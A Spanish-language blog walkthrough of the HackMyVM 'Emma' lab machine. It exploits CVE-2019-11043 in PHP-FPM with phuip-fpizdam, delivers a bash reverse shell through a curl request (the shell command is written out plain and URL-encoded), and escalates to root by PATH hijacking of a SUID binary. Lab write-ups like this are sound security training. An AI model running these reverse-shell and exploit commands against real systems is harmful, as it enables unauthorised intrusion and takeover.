HackMyVM Emma — Linux


Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.150
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos con un escaneo de puertos y podemos ver que solo tenemos los puertos 22 y 80.
Empezamos realizando un escaneo más profundo de los puertos identificados, pero no vemos más información.
Vamos al navegador e ingresamos la dirección IP y no vemos ningún contenido.
Realizando un escaneo de subdirectorios podemos observar que identifica 2 adicionales.
Al ingresar a robots.txt
tenemos una cadena de texto interesante.
itwasonlyakiss
En phpinfo
tenemos la página que sugiere el nombre.
Como podemos ver nos muestra la versión, buscando sobre esta versión encontramos una página donde nos dan una muestra de como explotarlo, ya que cumple con todos los requisitos que podemos observar en la página, CVE-2019-11043. Probando alguna de las consultas manuales adecuadas para este CVE no obtenemos un resultado.
Puesto que no tenemos un resultado emplearemos la herramienta phuip-fpizdam que clonaremos y ejecutaremos.
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build
Para revisar si surtió efecto, debemos considerar los parámetros que nos indican, como sería el siguiente ejemplo.
Probamos otro comando y podemos observar que podemos ejecutar comandos.
Ya que podemos ejecutar comandos, iniciaremos nuestro listener.
Preparamos nuestro comando para establecer conexión.
bash -c 'bash -i >& /dev/tcp/192.168.0.109/1234 0>&1'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F1234%200%3E%261%22
luego de ello reemplazamos en el comando en la consulta y lo enviamos.
curl http://192.168.0.150/index.php?a=/bin/sh+-c+%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F1234%200%3E%261%22%27 --path-as-is
Probamos enviando varias veces hasta que se quede cargando.
Regresando a nuestro listener podemos observar que obtuvimos conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Una vez dentro y migrado la shell, vemos que dentro de la carpeta tmp
tenemos dos archivos interesantes, pero si vemos la fecha es actual.
Si abrimos ese archivo a
vemos que es el archivo que se generó para establecer conexión.
Revisando permisos SUID vemos que tenemos el binario who
, pero no podemos ejecutarlo.
Al dirigirnos a la carpeta de emma
observamos que no tenemos los permisos.
Revisando que servicios tenemos podemos ver que tenemos un mysql
en el puerto 3306.
Comprobando si es correcto probamos y si podemos ejecutar el comando, ahora necesitamos un password, pero recordemos que en robots.txt
encontramos una palabra y empleándola ahora podemos acceder a la base de datos.
Listando los datos de la base de datos, observamos las credenciales de emma
.
Buscando si alguna base de datos tiene el resultado, vemos que en Crackstation tenemos el resultado.
5f4dcc3b5aa765d61d8327deb882cf80
Probamos el password como password
, pero nos falla, luego de pensar un rato, probamos el hash como password y este si es correcto.
Ya que estamos como emma
ejecutamos el binario y vemos que nos muestra el usuario permisos de root
, pero listando el directorio vemos que no podemos eliminarlo y reemplazarlo porque perderíamos permisos.
Como no podemos modificar el archivo who
, debemos revisar el archivo who.c
para ver que ejecuta y como aprovecharnos de esto.
Vemos que ejecuta el binario id
para ello usaremos gzexe
para comprimir el archivo. Luego creamos un gzip
ejecutable para poder escalar privilegios, por ello reemplazaremos con un PATH falso y aprovecharnos del archivo cuando se ejecute.
Ejecutamos el binario y podemos ver que ahora tenemos permisos root
. Terminando esta máquina.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
